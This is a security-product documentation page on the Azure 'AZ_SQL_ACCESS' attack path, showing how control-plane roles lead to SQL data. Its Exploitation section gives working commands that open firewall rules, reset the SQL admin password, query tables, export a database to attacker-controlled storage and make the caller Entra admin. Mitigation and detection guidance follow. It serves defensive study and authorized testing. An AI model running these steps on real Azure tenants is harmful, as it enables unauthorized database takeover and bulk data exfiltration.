> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_sql_access.md).

# AZ\_SQL\_ACCESS

## Summary

|                            |                                                                                                                                                                                                                                    |
| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | AZ\_SQL\_ACCESS                                                                                                                                                                                                                    |
| **Azure Alias**            | Azure SQL Management Access                                                                                                                                                                                                        |
| **Affected Object Types**  | Azure SQL Servers / Databases                                                                                                                                                                                                      |
| **Exploitation Certainty** | Certain                                                                                                                                                                                                                            |
| **Severity**               | High                                                                                                                                                                                                                               |
| **Azure RBAC Roles**       | Owner (`8e3af657-a8ff-443c-a75c-2fe8c4bcb635`), Contributor (`b24988ac-6180-42a0-ab88-20f7382dd24c`), SQL Server Contributor (`6d8ee4ec-f05a-4a1d-8b00-a9b17e38b437`), SQL DB Contributor (`9b7fa17d-e63e-47b0-bb0a-15c516ac86ec`) |

**Custom Role Actions:**

* `Microsoft.Sql/servers/databases/*`

## Description

`AZ_SQL_ACCESS` is control-plane management access to Azure SQL servers and databases. It is not a database login by itself, but it lets a principal reset the SQL admin password, change firewall exposure, export databases, and set the Entra administrator — each a path to the data the databases hold.

Where the assignment includes `Microsoft.Sql/servers/administrators/write`, it chains into [AZ\_SQL\_ADMIN](https://docs.forestall.io/fsprotect/edges/azure/az_sql_admin) by setting the server's Entra administrator.

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

Get-AzRoleAssignment |
    Where-Object {
        $_.RoleDefinitionName -in @(
            "Owner",
            "Contributor",
            "SQL Server Contributor",
            "SQL DB Contributor"
        ) -and
        $_.Scope -match "/Microsoft.Sql/"
    } |
    Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
    Sort-Object Scope, RoleDefinitionName |
    Format-Table -AutoSize
```

### Azure Portal

1. Open **Azure Portal** -> target **SQL server** or **SQL database**.
2. Go to **Access control (IAM)** -> **Role assignments**.
3. Review **Owner**, **Contributor**, **SQL Server Contributor**, **SQL DB Contributor**, and custom roles with `Microsoft.Sql/servers/databases/*`.
4. Check inherited assignments at resource group, subscription, and management group scopes.

## Exploitation

These examples are for authorized testing only. Replace `<SubId>`, `<RGName>`, `<ServerName>`, `<DatabaseName>`, and the identifiers with your own values.

Control-plane access is not a database login, but it exposes three paths to the data plane, in rough order of directness:

| Path                         | Required ARM action                             | Granted by                                                     | Result                                                                  |
| ---------------------------- | ----------------------------------------------- | -------------------------------------------------------------- | ----------------------------------------------------------------------- |
| Reset the SQL admin password | `Microsoft.Sql/servers/write`                   | Owner, Contributor, SQL Server Contributor                     | Log in as the built-in server admin (if SQL auth is enabled)            |
| Export the database (BACPAC) | `Microsoft.Sql/servers/databases/export/action` | Owner, Contributor, SQL Server Contributor, SQL DB Contributor | Offline copy of the data in your own storage account                    |
| Set the Entra administrator  | `Microsoft.Sql/servers/administrators/write`    | Owner, Contributor                                             | `sysadmin`-equivalent via your own Entra token, even if SQL auth is off |

All three require **network reachability** (Step 1); the password-reset path also requires SQL authentication to be enabled (`azureADOnlyAuthentication == false`).

### Step 0: Enumerate servers, databases, and security posture

```powershell
Connect-AzAccount
# Optional: Set-AzContext -Subscription "<SubId>"


Get-AzSqlServer | ForEach-Object {
    $server = $_
    $admin  = Get-AzSqlServerActiveDirectoryAdministrator -ResourceGroupName $server.ResourceGroupName -ServerName $server.ServerName -ErrorAction SilentlyContinue

    Get-AzSqlDatabase -ResourceGroupName $server.ResourceGroupName -ServerName $server.ServerName |
        Where-Object { $_.DatabaseName -ne 'master' } |
        Select-Object `
            @{N="Server";E={$server.ServerName}}, `
            @{N="Fqdn";E={$server.FullyQualifiedDomainName}}, `
            @{N="SqlAdminLogin";E={$server.SqlAdministratorLogin}}, `
            @{N="EntraAdmin";E={$server.Administrators.Login}}, `
            @{N="EntraOnlyAuth";E={(Get-AzSqlServer -ResourceGroupName $server.ResourceGroupName -ServerName $server.ServerName).PublicNetworkAccess}}, `
            DatabaseName, Status, Edition
}
```

### Step 1: Open the network path

You must reach the server even with valid credentials. Control-plane access lets you add a firewall rule (or widen `PublicNetworkAccess`).

```bash
# Allow your current public IP
MYIP=$(curl -s https://api.ipify.org)
az sql server firewall-rule create \
    --resource-group "<RGName>" \
    --server "<ServerName>" \
    --name "temporary-test-access" \
    --start-ip-address "$MYIP" \
    --end-ip-address "$MYIP"

# (Broad) "Allow Azure services and resources to access this server" - start/end 0.0.0.0.
# Very noisy and broad; prefer a single-IP rule for authorized testing.
az sql server firewall-rule create \
    --resource-group "<RGName>" --server "<ServerName>" \
    --name "AllowAllAzureIPs" --start-ip-address 0.0.0.0 --end-ip-address 0.0.0.0
```

> Record any firewall rules you add and remove them when finished.

### Step 2: Reset the SQL administrator password (control-plane -> SQL login)

`Microsoft.Sql/servers/write` overwrites the built-in SQL admin password without knowing the current one — the most direct pivot to the data plane, with no need to touch the Entra admin. It works only while SQL authentication is enabled (`azureADOnlyAuthentication == false`). Owner, Contributor, and SQL Server Contributor grant it; SQL DB Contributor does not.

**Azure CLI**

```bash
# The admin login name was captured in Step 0 (SqlAdministratorLogin), e.g. "sqladmin"
az sql server update \
    --resource-group "<RGName>" \
    --name "<ServerName>" \
    --admin-password 'N3w-Str0ng-P@ssw0rd!'
```

**PowerShell**

```powershell
$pw = ConvertTo-SecureString 'N3w-Str0ng-P@ssw0rd!' -AsPlainText -Force
Set-AzSqlServer -ResourceGroupName "<RGName>" -ServerName "<ServerName>" -SqlAdministratorPassword $pw
```

![Reset the SQL administrator password with Set-AzSqlServer](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-73aced781c3944f755ccb45d06b60b69d8db5d1a%2Fazure-az_sql_access-change_admin_password.PNG?alt=media)

Authenticate as the server admin — a member of `dbmanager`/`loginmanager` on `master`, effectively owning every database on the server:

```bash
sqlcmd -S "<ServerName>.database.windows.net" -d master \
    -U "<SqlAdminLogin>" -P 'N3w-Str0ng-P@ssw0rd!' \
    -Q "SELECT name, state_desc FROM sys.databases;"
```

![Authenticate as the reset SQL admin and list databases with sqlcmd](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-53d0877b8086fed11f91a583f35ac6df8e1ed23d%2Fazure-az_sql_access-sqlcmd_SQLACESS.PNG?alt=media)

### Step 3: Connect and extract data

```powershell
Import-Module SqlServer

$cred = New-Object System.Management.Automation.PSCredential(
    "<SqlAdminLogin>", (ConvertTo-SecureString 'N3w-Str0ng-P@ssw0rd!' -AsPlainText -Force))

# Enumerate every database on the server
Invoke-Sqlcmd -ServerInstance "<ServerName>.database.windows.net" -Database "master" `
    -Credential $cred -Query "SELECT name FROM sys.databases WHERE database_id > 4;"

# Map the schema of a target database, then pull rows
Invoke-Sqlcmd -ServerInstance "<ServerName>.database.windows.net" -Database "<DatabaseName>" `
    -Credential $cred -Query @"
SELECT s.name AS [schema], t.name AS [table]
FROM sys.tables t JOIN sys.schemas s ON t.schema_id = s.schema_id
ORDER BY 1,2;
"@

Invoke-Sqlcmd -ServerInstance "<ServerName>.database.windows.net" -Database "<DatabaseName>" `
    -Credential $cred -Query "SELECT TOP 100 * FROM [dbo].[SensitiveTable];"
```

![Enumerate databases and map a target schema with the SQL admin credentials](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-eef6f81b06b038c1882838dfeb149ce14214ea52%2Fazure-az_sql_access-sqlcmd_accessdb.PNG?alt=media)

### Step 4: Bulk exfiltration via database export (BACPAC)

`export/action` writes a full, portable copy of a database to a storage account **you** control — no interactive SQL session or large query stream. It is available to SQL DB Contributor as well as the broader roles, and authenticates with the SQL admin credentials from Step 2 (or an Entra admin token).

```bash
# BACPAC lands in an attacker-controlled storage account/container
az sql db export \
    --resource-group "<RGName>" \
    --server "<ServerName>" \
    --name "<DatabaseName>" \
    --admin-user "<SqlAdminLogin>" \
    --admin-password 'N3w-Str0ng-P@ssw0rd!' \
    --storage-key-type StorageAccessKey \
    --storage-key "<AttackerStorageKey>" \
    --storage-uri "https://<attackerstorage>.blob.core.windows.net/dump/<DatabaseName>.bacpac"
```

Download and open the BACPAC offline (a zip of schema plus BCP data), or import it into your own SQL instance for unrestricted querying.

### Step 5: Chain to Microsoft Entra admin for full takeover

`Microsoft.Sql/servers/administrators/write` lets you set yourself as the server's Entra administrator, gaining `sysadmin`-equivalent rights over every database via your own Entra token — even if SQL authentication is disabled. **Owner and Contributor both hold this action**, so a principal with either role can assign itself as SQL Entra admin without any additional grant. This is the strongest path; the dedicated edge is `AZ_BECOME_SQL_ADMIN` and the resulting state is [AZ\_SQL\_ADMIN](https://docs.forestall.io/fsprotect/edges/azure/az_sql_admin).

```bash
# Current Entra admin (empty output = none set yet)
az sql server ad-admin list --resource-group "<RGName>" --server-name "<ServerName>" -o table

# Set yourself (overwrites any existing admin - record the original first)
az sql server ad-admin create \
    --resource-group "<RGName>" --server-name "<ServerName>" \
    --display-name "pwned-admin" --object-id "$(az ad signed-in-user show --query id -o tsv)"
```

## Mitigation

1. **Separate SQL management from SQL data access** and grant each only to identities that require it.
2. **Limit SQL Server Contributor and SQL DB Contributor** to narrow resource scopes.
3. **Use PIM** for temporary SQL management access instead of standing assignments.
4. **Restrict firewall changes** with Azure Policy and require private endpoints for sensitive databases.
5. **Protect the Entra admin path** by monitoring and tightly controlling `Microsoft.Sql/servers/administrators/write`.
6. **Enable auditing and Defender for SQL** so control-plane changes and database activity are centrally visible.

## Detection

Use the Azure Portal:

1. Open **Azure Portal** -> target **SQL server** -> **Activity log**.
2. Filter for `Microsoft.Sql/servers/write` (**Create/Update Server** — captures admin-password resets), `Microsoft.Sql/servers/firewallRules/write`, `Microsoft.Sql/servers/administrators/write`, `Microsoft.Sql/servers/databases/export/action`, auditing/Defender policy changes, and `Microsoft.Sql/servers/databases/*`.
3. Review **Event initiated by**, **Timestamp**, **Resource**, **Status**, and **Caller IP address**. Treat an admin-password reset or a database export to an unfamiliar storage account as high severity.
4. Open **Microsoft Entra ID** -> **Sign-in logs** and review sign-ins for principals making SQL management changes.
5. Alert on new SQL management role assignments and on SQL firewall rules that broaden access.

## References

* [Azure built-in roles for databases](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles/databases)
* [SQL Server Contributor built-in role](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles/databases#sql-server-contributor)
* [SQL DB Contributor built-in role](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles/databases#sql-db-contributor)
* [Configure Microsoft Entra authentication for Azure SQL](https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure)
* [Azure SQL auditing](https://learn.microsoft.com/en-us/azure/azure-sql/database/auditing-overview)
